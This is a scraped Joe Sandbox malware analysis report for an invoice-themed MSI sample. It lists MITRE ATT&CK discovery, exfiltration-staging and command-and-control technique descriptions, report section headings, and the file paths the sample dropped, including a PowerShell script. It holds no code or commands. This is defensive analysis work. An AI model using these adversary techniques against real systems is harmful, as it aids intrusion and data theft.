Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to gather information about attached peripheral devices and components connected to a computer system.Peripheral devices could include auxiliary resources that support a variety of functionalities such as keyboards, printers, cameras, smart card readers, or removable storage. The information may be used to enhance their awareness of the system and network environment or may be used for further actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Fatura931Pendente956.pdf761.msi

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Initial Sample

Dropped Files

Memory Dumps

Other

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Spreading

Software Vulnerabilities

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

LLM Input / Output

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Config.Msi\6605af.rbs

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

C:\Users\user\AppData\Local\Temp\CSC9B11AECFE9254054A1433CAC9323B2.TMP

C:\Users\user\AppData\Local\Temp\Executar01aa.ps1

C:\Users\user\AppData\Local\Temp\MSI60493.LOG

C:\Users\user\AppData\Local\Temp\Pro1567.tmp

C:\Users\user\AppData\Local\Temp\Pro2A2F.tmp

C:\Users\user\AppData\Local\Temp\Pro4958.tmp

C:\Users\user\AppData\Local\Temp\Pro63E9.tmp

Windows Analysis Report
Fatura931Pendente956.pdf761.msi

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre